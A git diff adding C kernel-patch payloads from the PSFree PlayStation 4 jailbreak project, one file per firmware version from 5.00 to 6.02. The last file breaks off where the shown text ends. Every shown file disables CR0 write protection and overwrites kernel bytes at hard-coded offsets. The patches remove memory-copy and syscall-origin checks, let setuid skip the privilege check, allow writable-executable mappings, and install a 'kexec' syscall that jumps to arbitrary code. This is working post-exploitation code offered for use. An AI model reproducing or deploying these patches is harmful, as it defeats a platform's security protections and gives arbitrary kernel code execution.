diff --git a/payloads/sources/ps4-kpatches-src/500.c b/payloads/sources/ps4-kpatches-src/500.c new file mode 100644 index 0000000..62c28bd --- /dev/null +++ b/payloads/sources/ps4-kpatches-src/500.c @@ -0,0 +1,158 @@ +/* Copyright (C) 2024-2025 anonymous + +This file is part of PSFree. + +PSFree is free software: you can redistribute it and/or modify +it under the terms of the GNU Affero General Public License as +published by the Free Software Foundation, either version 3 of the +License, or (at your option) any later version. + +PSFree is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU Affero General Public License for more details. + +You should have received a copy of the GNU Affero General Public License +along with this program. If not, see . */ + +// 5.00, 5.01 + +#include "types.h" +#include "utils.h" + +static inline void do_patch(void *kbase); + +__attribute__((section (".text.start"))) +int kpatch(void *td) { + const u64 xfast_syscall_off = 0x1c0; + void * const kbase = (void *)rdmsr(0xc0000082) - xfast_syscall_off; + + do_patch(kbase); + + return 0; +} + +__attribute__((always_inline)) +static inline void do_patch(void *kbase) { + disable_cr0_wp(); + + // ChendoChap's patches from pOOBs4 + write8(kbase, 0xabd, 0xeb); // bcopy + write8(kbase, 0x1ea36d, 0xeb); // bzero + write8(kbase, 0x1ea3b1, 0xeb); // pagezero + write8(kbase, 0x1ea42d, 0xeb); // memcpy + write8(kbase, 0x1ea471, 0xeb); // pagecopy + write8(kbase, 0x1ea60d, 0xeb); // copyin + write8(kbase, 0x1eaa3d, 0xeb); // copyinstr + write8(kbase, 0x1eaafd, 0xeb); // copystr + + // patch amd64_syscall() to allow calling syscalls everywhere + // struct syscall_args sa; // initialized already + // u64 code = get_u64_at_user_address(td->tf_frame-tf_rip); + // int is_invalid_syscall = 0 + // + // // check the calling code if it looks like one of the syscall stubs at a + // // libkernel library and check if the syscall number correponds to the + // // proper stub + // if ((code & 0xff0000000000ffff) != 0x890000000000c0c7 + // || sa.code != (u32)(code >> 0x10) + // ) { + // // patch this to " = 0" instead + // is_invalid_syscall = -1; + // } + write32(kbase, 0x493, 0); + // these code corresponds to the check that ensures that the caller's + // instruction pointer is inside the libkernel library's memory range + // + // // patch the check to always go to the "goto do_syscall;" line + // void *code = td->td_frame->tf_rip; + // if (libkernel->start <= code && code < libkernel->end + // && is_invalid_syscall == 0 + // ) { + // goto do_syscall; + // } + // + // do_syscall: + // ... + // lea rsi, [rbp - 0x78] + // mov rdi, rbx + // mov rax, qword [rbp - 0x80] + // call qword [rax + 8] ; error = (sa->callp->sy_call)(td, sa->args) + // + // sy_call() is the function that will execute the requested syscall. + write8(kbase, 0x4c5, 0xeb); + write16(kbase, 0x4bc, 0x00eb); + write16(kbase, 0x4b8, 0x00eb); + + // patch sys_setuid() to allow freely changing the effective user ID + // ; PRIV_CRED_SETUID = 50 + // call priv_check_cred(oldcred, PRIV_CRED_SETUID, 0) + // test eax, eax + // je ... ; patch je to jmp + write8(kbase, 0x54a7d, 0xeb); + + // patch vm_map_protect() (called by sys_mprotect()) to allow rwx mappings + // + // this check is skipped after the patch + // + // if ((new_prot & current->max_protection) != new_prot) { + // vm_map_unlock(map); + // return (KERN_PROTECTION_FAILURE); + // } + write16(kbase, 0x1a3af8, 0x04eb); + + // patch sys_dynlib_dlsym() to allow dynamic symbol resolution everywhere + // call ... + // mov r14, qword [rbp - 0xad0] + // cmp eax, 0x4000000 + // jb ... ; patch jb to jmp + write16(kbase, 0x237e2a, 0xe990); + // patch called function to always return 0 + // + // sys_dynlib_dlsym: + // ... + // mov edi, 0x10 ; 16 + // call patched_function ; kernel_base + 0x951c0 + // test eax, eax + // je ... + // mov rax, qword [rbp - 0xad8] + // ... + // patched_function: ; patch to "xor eax, eax; ret" + // push rbp + // mov rbp, rsp + // ... + write32(kbase, 0x2b2350, 0xc3c03148); + + // patch sys_mmap() to allow rwx mappings + // patch maximum cpu mem protection: 0x33 -> 0x37 + // the ps4 added custom protections for their gpu memory accesses + // GPU X: 0x8 R: 0x10 W: 0x20 + // that's why you see other bits set + // ref: https://cturt.github.io/ps4-2.html + write8(kbase, 0x13d510, 0x37); + write8(kbase, 0x13d513, 0x37); + + // overwrite the entry of syscall 11 (unimplemented) in sysent + // + // struct args { + // u64 rdi; + // u64 rsi; + // u64 rdx; + // u64 rcx; + // u64 r8; + // u64 r9; + // }; + // + // int sys_kexec(struct thread td, struct args *uap) { + // asm("jmp qword ptr [rsi]"); + // } + const u64 sysent_11_off = 0x107c820; + // .sy_narg = 2 + write32(kbase, sysent_11_off, 2); + // .sy_call = gadgets['jmp qword ptr [rsi]'] + write64(kbase, sysent_11_off + 8, kbase + 0x13460); + // .sy_thrcnt = SY_THR_STATIC + write32(kbase, sysent_11_off + 0x2c, 1); + + enable_cr0_wp(); +} diff --git a/payloads/sources/ps4-kpatches-src/503.c b/payloads/sources/ps4-kpatches-src/503.c new file mode 100644 index 0000000..029cc9c --- /dev/null +++ b/payloads/sources/ps4-kpatches-src/503.c @@ -0,0 +1,158 @@ +/* Copyright (C) 2024-2025 anonymous + +This file is part of PSFree. + +PSFree is free software: you can redistribute it and/or modify +it under the terms of the GNU Affero General Public License as +published by the Free Software Foundation, either version 3 of the +License, or (at your option) any later version. + +PSFree is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU Affero General Public License for more details. + +You should have received a copy of the GNU Affero General Public License +along with this program. If not, see . */ + +// 5.03, 5.05, 5.07 + +#include "types.h" +#include "utils.h" + +static inline void do_patch(void *kbase); + +__attribute__((section (".text.start"))) +int kpatch(void *td) { + const u64 xfast_syscall_off = 0x1c0; + void * const kbase = (void *)rdmsr(0xc0000082) - xfast_syscall_off; + + do_patch(kbase); + + return 0; +} + +__attribute__((always_inline)) +static inline void do_patch(void *kbase) { + disable_cr0_wp(); + + // ChendoChap's patches from pOOBs4 + write8(kbase, 0xabd, 0xeb); // bcopy + write8(kbase, 0x1ea47d, 0xeb); // bzero + write8(kbase, 0x1ea4c1, 0xeb); // pagezero + write8(kbase, 0x1ea53d, 0xeb); // memcpy + write8(kbase, 0x1ea581, 0xeb); // pagecopy + write8(kbase, 0x1ea71d, 0xeb); // copyin + write8(kbase, 0x1eab4d, 0xeb); // copyinstr + write8(kbase, 0x1eac0d, 0xeb); // copystr + + // patch amd64_syscall() to allow calling syscalls everywhere + // struct syscall_args sa; // initialized already + // u64 code = get_u64_at_user_address(td->tf_frame-tf_rip); + // int is_invalid_syscall = 0 + // + // // check the calling code if it looks like one of the syscall stubs at a + // // libkernel library and check if the syscall number correponds to the + // // proper stub + // if ((code & 0xff0000000000ffff) != 0x890000000000c0c7 + // || sa.code != (u32)(code >> 0x10) + // ) { + // // patch this to " = 0" instead + // is_invalid_syscall = -1; + // } + write32(kbase, 0x493, 0); + // these code corresponds to the check that ensures that the caller's + // instruction pointer is inside the libkernel library's memory range + // + // // patch the check to always go to the "goto do_syscall;" line + // void *code = td->td_frame->tf_rip; + // if (libkernel->start <= code && code < libkernel->end + // && is_invalid_syscall == 0 + // ) { + // goto do_syscall; + // } + // + // do_syscall: + // ... + // lea rsi, [rbp - 0x78] + // mov rdi, rbx + // mov rax, qword [rbp - 0x80] + // call qword [rax + 8] ; error = (sa->callp->sy_call)(td, sa->args) + // + // sy_call() is the function that will execute the requested syscall. + write8(kbase, 0x4c5, 0xeb); + write16(kbase, 0x4bc, 0x00eb); + write16(kbase, 0x4b8, 0x00eb); + + // patch sys_setuid() to allow freely changing the effective user ID + // ; PRIV_CRED_SETUID = 50 + // call priv_check_cred(oldcred, PRIV_CRED_SETUID, 0) + // test eax, eax + // je ... ; patch je to jmp + write8(kbase, 0x54a7d, 0xeb); + + // patch vm_map_protect() (called by sys_mprotect()) to allow rwx mappings + // + // this check is skipped after the patch + // + // if ((new_prot & current->max_protection) != new_prot) { + // vm_map_unlock(map); + // return (KERN_PROTECTION_FAILURE); + // } + write16(kbase, 0x1a3c08, 0x04eb); + + // patch sys_dynlib_dlsym() to allow dynamic symbol resolution everywhere + // call ... + // mov r14, qword [rbp - 0xad0] + // cmp eax, 0x4000000 + // jb ... ; patch jb to jmp + write16(kbase, 0x237f3a, 0xe990); + // patch called function to always return 0 + // + // sys_dynlib_dlsym: + // ... + // mov edi, 0x10 ; 16 + // call patched_function ; kernel_base + 0x951c0 + // test eax, eax + // je ... + // mov rax, qword [rbp - 0xad8] + // ... + // patched_function: ; patch to "xor eax, eax; ret" + // push rbp + // mov rbp, rsp + // ... + write32(kbase, 0x2b2620, 0xc3c03148); + + // patch sys_mmap() to allow rwx mappings + // patch maximum cpu mem protection: 0x33 -> 0x37 + // the ps4 added custom protections for their gpu memory accesses + // GPU X: 0x8 R: 0x10 W: 0x20 + // that's why you see other bits set + // ref: https://cturt.github.io/ps4-2.html + write8(kbase, 0x13d620, 0x37); + write8(kbase, 0x13d623, 0x37); + + // overwrite the entry of syscall 11 (unimplemented) in sysent + // + // struct args { + // u64 rdi; + // u64 rsi; + // u64 rdx; + // u64 rcx; + // u64 r8; + // u64 r9; + // }; + // + // int sys_kexec(struct thread td, struct args *uap) { + // asm("jmp qword ptr [rsi]"); + // } + const u64 sysent_11_off = 0x107c820; + // .sy_narg = 2 + write32(kbase, sysent_11_off, 2); + // .sy_call = gadgets['jmp qword ptr [rsi]'] + write64(kbase, sysent_11_off + 8, kbase + 0x13460); + // .sy_thrcnt = SY_THR_STATIC + write32(kbase, sysent_11_off + 0x2c, 1); + + enable_cr0_wp(); +} diff --git a/payloads/sources/ps4-kpatches-src/550.c b/payloads/sources/ps4-kpatches-src/550.c new file mode 100644 index 0000000..9e19561 --- /dev/null +++ b/payloads/sources/ps4-kpatches-src/550.c @@ -0,0 +1,158 @@ +/* Copyright (C) 2024-2025 anonymous + +This file is part of PSFree. + +PSFree is free software: you can redistribute it and/or modify +it under the terms of the GNU Affero General Public License as +published by the Free Software Foundation, either version 3 of the +License, or (at your option) any later version. + +PSFree is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU Affero General Public License for more details. + +You should have received a copy of the GNU Affero General Public License +along with this program. If not, see . */ + +// 5.50 + +#include "types.h" +#include "utils.h" + +static inline void do_patch(void *kbase); + +__attribute__((section (".text.start"))) +int kpatch(void *td) { + const u64 xfast_syscall_off = 0x1c0; + void * const kbase = (void *)rdmsr(0xc0000082) - xfast_syscall_off; + + do_patch(kbase); + + return 0; +} + +__attribute__((always_inline)) +static inline void do_patch(void *kbase) { + disable_cr0_wp(); + + // ChendoChap's patches from pOOBs4 + write8(kbase, 0xaed, 0xeb); // bcopy + write8(kbase, 0x40590d, 0xeb); // bzero + write8(kbase, 0x405951, 0xeb); // pagezero + write8(kbase, 0x4059cd, 0xeb); // memcpy + write8(kbase, 0x405a11, 0xeb); // pagecopy + write8(kbase, 0x405bbd, 0xeb); // copyin + write8(kbase, 0x40606d, 0xeb); // copyinstr + write8(kbase, 0x40613d, 0xeb); // copystr + + // patch amd64_syscall() to allow calling syscalls everywhere + // struct syscall_args sa; // initialized already + // u64 code = get_u64_at_user_address(td->tf_frame-tf_rip); + // int is_invalid_syscall = 0 + // + // // check the calling code if it looks like one of the syscall stubs at a + // // libkernel library and check if the syscall number correponds to the + // // proper stub + // if ((code & 0xff0000000000ffff) != 0x890000000000c0c7 + // || sa.code != (u32)(code >> 0x10) + // ) { + // // patch this to " = 0" instead + // is_invalid_syscall = -1; + // } + write32(kbase, 0x490, 0); + // these code corresponds to the check that ensures that the caller's + // instruction pointer is inside the libkernel library's memory range + // + // // patch the check to always go to the "goto do_syscall;" line + // void *code = td->td_frame->tf_rip; + // if (libkernel->start <= code && code < libkernel->end + // && is_invalid_syscall == 0 + // ) { + // goto do_syscall; + // } + // + // do_syscall: + // ... + // lea rsi, [rbp - 0x78] + // mov rdi, rbx + // mov rax, qword [rbp - 0x80] + // call qword [rax + 8] ; error = (sa->callp->sy_call)(td, sa->args) + // + // sy_call() is the function that will execute the requested syscall. + write16(kbase, 0x4c6, 0xe990); + write16(kbase, 0x4bd, 0x00eb); + write16(kbase, 0x4b9, 0x00eb); + + // patch sys_setuid() to allow freely changing the effective user ID + // ; PRIV_CRED_SETUID = 50 + // call priv_check_cred(oldcred, PRIV_CRED_SETUID, 0) + // test eax, eax + // je ... ; patch je to jmp + write8(kbase, 0x107cd, 0xeb); + + // patch vm_map_protect() (called by sys_mprotect()) to allow rwx mappings + // + // this check is skipped after the patch + // + // if ((new_prot & current->max_protection) != new_prot) { + // vm_map_unlock(map); + // return (KERN_PROTECTION_FAILURE); + // } + write16(kbase, 0x2ee98, 0x04eb); + + // patch sys_dynlib_dlsym() to allow dynamic symbol resolution everywhere + // call ... + // mov r14, qword [rbp - 0xad0] + // cmp eax, 0x4000000 + // jb ... ; patch jb to jmp + write16(kbase, 0x6390a, 0xe990); + // patch called function to always return 0 + // + // sys_dynlib_dlsym: + // ... + // mov edi, 0x10 ; 16 + // call patched_function ; kernel_base + 0x951c0 + // test eax, eax + // je ... + // mov rax, qword [rbp - 0xad8] + // ... + // patched_function: ; patch to "xor eax, eax; ret" + // push rbp + // mov rbp, rsp + // ... + write32(kbase, 0x400130, 0xc3c03148); + + // patch sys_mmap() to allow rwx mappings + // patch maximum cpu mem protection: 0x33 -> 0x37 + // the ps4 added custom protections for their gpu memory accesses + // GPU X: 0x8 R: 0x10 W: 0x20 + // that's why you see other bits set + // ref: https://cturt.github.io/ps4-2.html + write8(kbase, 0x3c25d9, 0x37); + write8(kbase, 0x3c25dc, 0x37); + + // overwrite the entry of syscall 11 (unimplemented) in sysent + // + // struct args { + // u64 rdi; + // u64 rsi; + // u64 rdx; + // u64 rcx; + // u64 r8; + // u64 r9; + // }; + // + // int sys_kexec(struct thread td, struct args *uap) { + // asm("jmp qword ptr [rsi]"); + // } + const u64 sysent_11_off = 0x1115ed0; + // .sy_narg = 2 + write32(kbase, sysent_11_off, 2); + // .sy_call = gadgets['jmp qword ptr [rsi]'] + write64(kbase, sysent_11_off + 8, kbase + 0xaf8c); + // .sy_thrcnt = SY_THR_STATIC + write32(kbase, sysent_11_off + 0x2c, 1); + + enable_cr0_wp(); +} diff --git a/payloads/sources/ps4-kpatches-src/553.c b/payloads/sources/ps4-kpatches-src/553.c new file mode 100644 index 0000000..4f54ccb --- /dev/null +++ b/payloads/sources/ps4-kpatches-src/553.c @@ -0,0 +1,158 @@ +/* Copyright (C) 2024-2025 anonymous + +This file is part of PSFree. + +PSFree is free software: you can redistribute it and/or modify +it under the terms of the GNU Affero General Public License as +published by the Free Software Foundation, either version 3 of the +License, or (at your option) any later version. + +PSFree is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU Affero General Public License for more details. + +You should have received a copy of the GNU Affero General Public License +along with this program. If not, see . */ + +// 5.53 + +#include "types.h" +#include "utils.h" + +static inline void do_patch(void *kbase); + +__attribute__((section (".text.start"))) +int kpatch(void *td) { + const u64 xfast_syscall_off = 0x1c0; + void * const kbase = (void *)rdmsr(0xc0000082) - xfast_syscall_off; + + do_patch(kbase); + + return 0; +} + +__attribute__((always_inline)) +static inline void do_patch(void *kbase) { + disable_cr0_wp(); + + // ChendoChap's patches from pOOBs4 + write8(kbase, 0xaed, 0xeb); // bcopy + write8(kbase, 0x40580d, 0xeb); // bzero + write8(kbase, 0x405851, 0xeb); // pagezero + write8(kbase, 0x4058cd, 0xeb); // memcpy + write8(kbase, 0x405911, 0xeb); // pagecopy + write8(kbase, 0x405abd, 0xeb); // copyin + write8(kbase, 0x405f6d, 0xeb); // copyinstr + write8(kbase, 0x40603d, 0xeb); // copystr + + // patch amd64_syscall() to allow calling syscalls everywhere + // struct syscall_args sa; // initialized already + // u64 code = get_u64_at_user_address(td->tf_frame-tf_rip); + // int is_invalid_syscall = 0 + // + // // check the calling code if it looks like one of the syscall stubs at a + // // libkernel library and check if the syscall number correponds to the + // // proper stub + // if ((code & 0xff0000000000ffff) != 0x890000000000c0c7 + // || sa.code != (u32)(code >> 0x10) + // ) { + // // patch this to " = 0" instead + // is_invalid_syscall = -1; + // } + write32(kbase, 0x490, 0); + // these code corresponds to the check that ensures that the caller's + // instruction pointer is inside the libkernel library's memory range + // + // // patch the check to always go to the "goto do_syscall;" line + // void *code = td->td_frame->tf_rip; + // if (libkernel->start <= code && code < libkernel->end + // && is_invalid_syscall == 0 + // ) { + // goto do_syscall; + // } + // + // do_syscall: + // ... + // lea rsi, [rbp - 0x78] + // mov rdi, rbx + // mov rax, qword [rbp - 0x80] + // call qword [rax + 8] ; error = (sa->callp->sy_call)(td, sa->args) + // + // sy_call() is the function that will execute the requested syscall. + write16(kbase, 0x4c6, 0xe990); + write16(kbase, 0x4bd, 0x00eb); + write16(kbase, 0x4b9, 0x00eb); + + // patch sys_setuid() to allow freely changing the effective user ID + // ; PRIV_CRED_SETUID = 50 + // call priv_check_cred(oldcred, PRIV_CRED_SETUID, 0) + // test eax, eax + // je ... ; patch je to jmp + write8(kbase, 0x107cd, 0xeb); + + // patch vm_map_protect() (called by sys_mprotect()) to allow rwx mappings + // + // this check is skipped after the patch + // + // if ((new_prot & current->max_protection) != new_prot) { + // vm_map_unlock(map); + // return (KERN_PROTECTION_FAILURE); + // } + write16(kbase, 0x2ee98, 0x04eb); + + // patch sys_dynlib_dlsym() to allow dynamic symbol resolution everywhere + // call ... + // mov r14, qword [rbp - 0xad0] + // cmp eax, 0x4000000 + // jb ... ; patch jb to jmp + write16(kbase, 0x6390a, 0xe990); + // patch called function to always return 0 + // + // sys_dynlib_dlsym: + // ... + // mov edi, 0x10 ; 16 + // call patched_function ; kernel_base + 0x951c0 + // test eax, eax + // je ... + // mov rax, qword [rbp - 0xad8] + // ... + // patched_function: ; patch to "xor eax, eax; ret" + // push rbp + // mov rbp, rsp + // ... + write32(kbase, 0x400030, 0xc3c03148); + + // patch sys_mmap() to allow rwx mappings + // patch maximum cpu mem protection: 0x33 -> 0x37 + // the ps4 added custom protections for their gpu memory accesses + // GPU X: 0x8 R: 0x10 W: 0x20 + // that's why you see other bits set + // ref: https://cturt.github.io/ps4-2.html + write8(kbase, 0x3c24d9, 0x37); + write8(kbase, 0x3c24dc, 0x37); + + // overwrite the entry of syscall 11 (unimplemented) in sysent + // + // struct args { + // u64 rdi; + // u64 rsi; + // u64 rdx; + // u64 rcx; + // u64 r8; + // u64 r9; + // }; + // + // int sys_kexec(struct thread td, struct args *uap) { + // asm("jmp qword ptr [rsi]"); + // } + const u64 sysent_11_off = 0x1115ed0; + // .sy_narg = 2 + write32(kbase, sysent_11_off, 2); + // .sy_call = gadgets['jmp qword ptr [rsi]'] + write64(kbase, sysent_11_off + 8, kbase + 0xaf8c); + // .sy_thrcnt = SY_THR_STATIC + write32(kbase, sysent_11_off + 0x2c, 1); + + enable_cr0_wp(); +} diff --git a/payloads/sources/ps4-kpatches-src/555.c b/payloads/sources/ps4-kpatches-src/555.c new file mode 100644 index 0000000..db1f297 --- /dev/null +++ b/payloads/sources/ps4-kpatches-src/555.c @@ -0,0 +1,158 @@ +/* Copyright (C) 2024-2025 anonymous + +This file is part of PSFree. + +PSFree is free software: you can redistribute it and/or modify +it under the terms of the GNU Affero General Public License as +published by the Free Software Foundation, either version 3 of the +License, or (at your option) any later version. + +PSFree is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU Affero General Public License for more details. + +You should have received a copy of the GNU Affero General Public License +along with this program. If not, see . */ + +// 5.55 + +#include "types.h" +#include "utils.h" + +static inline void do_patch(void *kbase); + +__attribute__((section (".text.start"))) +int kpatch(void *td) { + const u64 xfast_syscall_off = 0x1c0; + void * const kbase = (void *)rdmsr(0xc0000082) - xfast_syscall_off; + + do_patch(kbase); + + return 0; +} + +__attribute__((always_inline)) +static inline void do_patch(void *kbase) { + disable_cr0_wp(); + + // ChendoChap's patches from pOOBs4 + write8(kbase, 0xaed, 0xeb); // bcopy + write8(kbase, 0x405bcd, 0xeb); // bzero + write8(kbase, 0x405c11, 0xeb); // pagezero + write8(kbase, 0x405c8d, 0xeb); // memcpy + write8(kbase, 0x405cd1, 0xeb); // pagecopy + write8(kbase, 0x405e7d, 0xeb); // copyin + write8(kbase, 0x40632d, 0xeb); // copyinstr + write8(kbase, 0x4063fd, 0xeb); // copystr + + // patch amd64_syscall() to allow calling syscalls everywhere + // struct syscall_args sa; // initialized already + // u64 code = get_u64_at_user_address(td->tf_frame-tf_rip); + // int is_invalid_syscall = 0 + // + // // check the calling code if it looks like one of the syscall stubs at a + // // libkernel library and check if the syscall number correponds to the + // // proper stub + // if ((code & 0xff0000000000ffff) != 0x890000000000c0c7 + // || sa.code != (u32)(code >> 0x10) + // ) { + // // patch this to " = 0" instead + // is_invalid_syscall = -1; + // } + write32(kbase, 0x490, 0); + // these code corresponds to the check that ensures that the caller's + // instruction pointer is inside the libkernel library's memory range + // + // // patch the check to always go to the "goto do_syscall;" line + // void *code = td->td_frame->tf_rip; + // if (libkernel->start <= code && code < libkernel->end + // && is_invalid_syscall == 0 + // ) { + // goto do_syscall; + // } + // + // do_syscall: + // ... + // lea rsi, [rbp - 0x78] + // mov rdi, rbx + // mov rax, qword [rbp - 0x80] + // call qword [rax + 8] ; error = (sa->callp->sy_call)(td, sa->args) + // + // sy_call() is the function that will execute the requested syscall. + write16(kbase, 0x4c6, 0xe990); + write16(kbase, 0x4bd, 0x00eb); + write16(kbase, 0x4b9, 0x00eb); + + // patch sys_setuid() to allow freely changing the effective user ID + // ; PRIV_CRED_SETUID = 50 + // call priv_check_cred(oldcred, PRIV_CRED_SETUID, 0) + // test eax, eax + // je ... ; patch je to jmp + write8(kbase, 0x107cd, 0xeb); + + // patch vm_map_protect() (called by sys_mprotect()) to allow rwx mappings + // + // this check is skipped after the patch + // + // if ((new_prot & current->max_protection) != new_prot) { + // vm_map_unlock(map); + // return (KERN_PROTECTION_FAILURE); + // } + write16(kbase, 0x2ee98, 0x04eb); + + // patch sys_dynlib_dlsym() to allow dynamic symbol resolution everywhere + // call ... + // mov r14, qword [rbp - 0xad0] + // cmp eax, 0x4000000 + // jb ... ; patch jb to jmp + write16(kbase, 0x6390a, 0xe990); + // patch called function to always return 0 + // + // sys_dynlib_dlsym: + // ... + // mov edi, 0x10 ; 16 + // call patched_function ; kernel_base + 0x951c0 + // test eax, eax + // je ... + // mov rax, qword [rbp - 0xad8] + // ... + // patched_function: ; patch to "xor eax, eax; ret" + // push rbp + // mov rbp, rsp + // ... + write32(kbase, 0x4003F0, 0xc3c03148); + + // patch sys_mmap() to allow rwx mappings + // patch maximum cpu mem protection: 0x33 -> 0x37 + // the ps4 added custom protections for their gpu memory accesses + // GPU X: 0x8 R: 0x10 W: 0x20 + // that's why you see other bits set + // ref: https://cturt.github.io/ps4-2.html + write8(kbase, 0x3c2899, 0x37); + write8(kbase, 0x3c289c, 0x37); + + // overwrite the entry of syscall 11 (unimplemented) in sysent + // + // struct args { + // u64 rdi; + // u64 rsi; + // u64 rdx; + // u64 rcx; + // u64 r8; + // u64 r9; + // }; + // + // int sys_kexec(struct thread td, struct args *uap) { + // asm("jmp qword ptr [rsi]"); + // } + const u64 sysent_11_off = 0x111aed0; + // .sy_narg = 2 + write32(kbase, sysent_11_off, 2); + // .sy_call = gadgets['jmp qword ptr [rsi]'] + write64(kbase, sysent_11_off + 8, kbase + 0xaf8c); + // .sy_thrcnt = SY_THR_STATIC + write32(kbase, sysent_11_off + 0x2c, 1); + + enable_cr0_wp(); +} diff --git a/payloads/sources/ps4-kpatches-src/556.c b/payloads/sources/ps4-kpatches-src/556.c new file mode 100644 index 0000000..5cda4b9 --- /dev/null +++ b/payloads/sources/ps4-kpatches-src/556.c @@ -0,0 +1,158 @@ +/* Copyright (C) 2024-2025 anonymous + +This file is part of PSFree. + +PSFree is free software: you can redistribute it and/or modify +it under the terms of the GNU Affero General Public License as +published by the Free Software Foundation, either version 3 of the +License, or (at your option) any later version. + +PSFree is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU Affero General Public License for more details. + +You should have received a copy of the GNU Affero General Public License +along with this program. If not, see . */ + +// 5.56 + +#include "types.h" +#include "utils.h" + +static inline void do_patch(void *kbase); + +__attribute__((section (".text.start"))) +int kpatch(void *td) { + const u64 xfast_syscall_off = 0x1c0; + void * const kbase = (void *)rdmsr(0xc0000082) - xfast_syscall_off; + + do_patch(kbase); + + return 0; +} + +__attribute__((always_inline)) +static inline void do_patch(void *kbase) { + disable_cr0_wp(); + + // ChendoChap's patches from pOOBs4 + write8(kbase, 0xadd, 0xeb); // bcopy + write8(kbase, 0x11464d, 0xeb); // bzero + write8(kbase, 0x114691, 0xeb); // pagezero + write8(kbase, 0x11470d, 0xeb); // memcpy + write8(kbase, 0x114751, 0xeb); // pagecopy + write8(kbase, 0x1148fd, 0xeb); // copyin + write8(kbase, 0x114dad, 0xeb); // copyinstr + write8(kbase, 0x114e7d, 0xeb); // copystr + + // patch amd64_syscall() to allow calling syscalls everywhere + // struct syscall_args sa; // initialized already + // u64 code = get_u64_at_user_address(td->tf_frame-tf_rip); + // int is_invalid_syscall = 0 + // + // // check the calling code if it looks like one of the syscall stubs at a + // // libkernel library and check if the syscall number correponds to the + // // proper stub + // if ((code & 0xff0000000000ffff) != 0x890000000000c0c7 + // || sa.code != (u32)(code >> 0x10) + // ) { + // // patch this to " = 0" instead + // is_invalid_syscall = -1; + // } + write32(kbase, 0x490, 0); + // these code corresponds to the check that ensures that the caller's + // instruction pointer is inside the libkernel library's memory range + // + // // patch the check to always go to the "goto do_syscall;" line + // void *code = td->td_frame->tf_rip; + // if (libkernel->start <= code && code < libkernel->end + // && is_invalid_syscall == 0 + // ) { + // goto do_syscall; + // } + // + // do_syscall: + // ... + // lea rsi, [rbp - 0x78] + // mov rdi, rbx + // mov rax, qword [rbp - 0x80] + // call qword [rax + 8] ; error = (sa->callp->sy_call)(td, sa->args) + // + // sy_call() is the function that will execute the requested syscall. + write16(kbase, 0x4c6, 0xe990); + write16(kbase, 0x4bd, 0x00eb); + write16(kbase, 0x4b9, 0x00eb); + + // patch sys_setuid() to allow freely changing the effective user ID + // ; PRIV_CRED_SETUID = 50 + // call priv_check_cred(oldcred, PRIV_CRED_SETUID, 0) + // test eax, eax + // je ... ; patch je to jmp + write8(kbase, 0x290ed, 0xeb); + + // patch vm_map_protect() (called by sys_mprotect()) to allow rwx mappings + // + // this check is skipped after the patch + // + // if ((new_prot & current->max_protection) != new_prot) { + // vm_map_unlock(map); + // return (KERN_PROTECTION_FAILURE); + // } + write16(kbase, 0x352258, 0x04eb); + + // patch sys_dynlib_dlsym() to allow dynamic symbol resolution everywhere + // call ... + // mov r14, qword [rbp - 0xad0] + // cmp eax, 0x4000000 + // jb ... ; patch jb to jmp + write16(kbase, 0x27f65a, 0xe990); + // patch called function to always return 0 + // + // sys_dynlib_dlsym: + // ... + // mov edi, 0x10 ; 16 + // call patched_function ; kernel_base + 0x951c0 + // test eax, eax + // je ... + // mov rax, qword [rbp - 0xad8] + // ... + // patched_function: ; patch to "xor eax, eax; ret" + // push rbp + // mov rbp, rsp + // ... + write32(kbase, 0x1a810, 0xc3c03148); + + // patch sys_mmap() to allow rwx mappings + // patch maximum cpu mem protection: 0x33 -> 0x37 + // the ps4 added custom protections for their gpu memory accesses + // GPU X: 0x8 R: 0x10 W: 0x20 + // that's why you see other bits set + // ref: https://cturt.github.io/ps4-2.html + write8(kbase, 0x24026d, 0x37); + write8(kbase, 0x240270, 0x37); + + // overwrite the entry of syscall 11 (unimplemented) in sysent + // + // struct args { + // u64 rdi; + // u64 rsi; + // u64 rdx; + // u64 rcx; + // u64 r8; + // u64 r9; + // }; + // + // int sys_kexec(struct thread td, struct args *uap) { + // asm("jmp qword ptr [rsi]"); + // } + const u64 sysent_11_off = 0x111b750; + // .sy_narg = 2 + write32(kbase, sysent_11_off, 2); + // .sy_call = gadgets['jmp qword ptr [rsi]'] + write64(kbase, sysent_11_off + 8, kbase + 0x3f0c9); + // .sy_thrcnt = SY_THR_STATIC + write32(kbase, sysent_11_off + 0x2c, 1); + + enable_cr0_wp(); +} diff --git a/payloads/sources/ps4-kpatches-src/600.c b/payloads/sources/ps4-kpatches-src/600.c new file mode 100644 index 0000000..3555598 --- /dev/null +++ b/payloads/sources/ps4-kpatches-src/600.c @@ -0,0 +1,158 @@ +/* Copyright (C) 2024-2025 anonymous + +This file is part of PSFree. + +PSFree is free software: you can redistribute it and/or modify +it under the terms of the GNU Affero General Public License as +published by the Free Software Foundation, either version 3 of the +License, or (at your option) any later version. + +PSFree is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU Affero General Public License for more details. + +You should have received a copy of the GNU Affero General Public License +along with this program. If not, see . */ + +// 6.00, 6.02 + +#include "types.h" +#include "utils.h" + +static inline void do_patch(void *kbase); + +__attribute__((section (".text.start"))) +int kpatch(void *td) { + const u64 xfast_syscall_off = 0x1c0; + void * const kbase = (void *)rdmsr(0xc0000082) - xfast_syscall_off; + + do_patch(kbase); + + return 0; +} + +__attribute__((always_inline)) +static inline void do_patch(void *kbase) { + disable_cr0_wp(); + + // ChendoChap's patches from pOOBs4 + write8(kbase, 0xadd, 0xeb); // bcopy + write8(kbase, 0x11464d, 0xeb); // bzero + 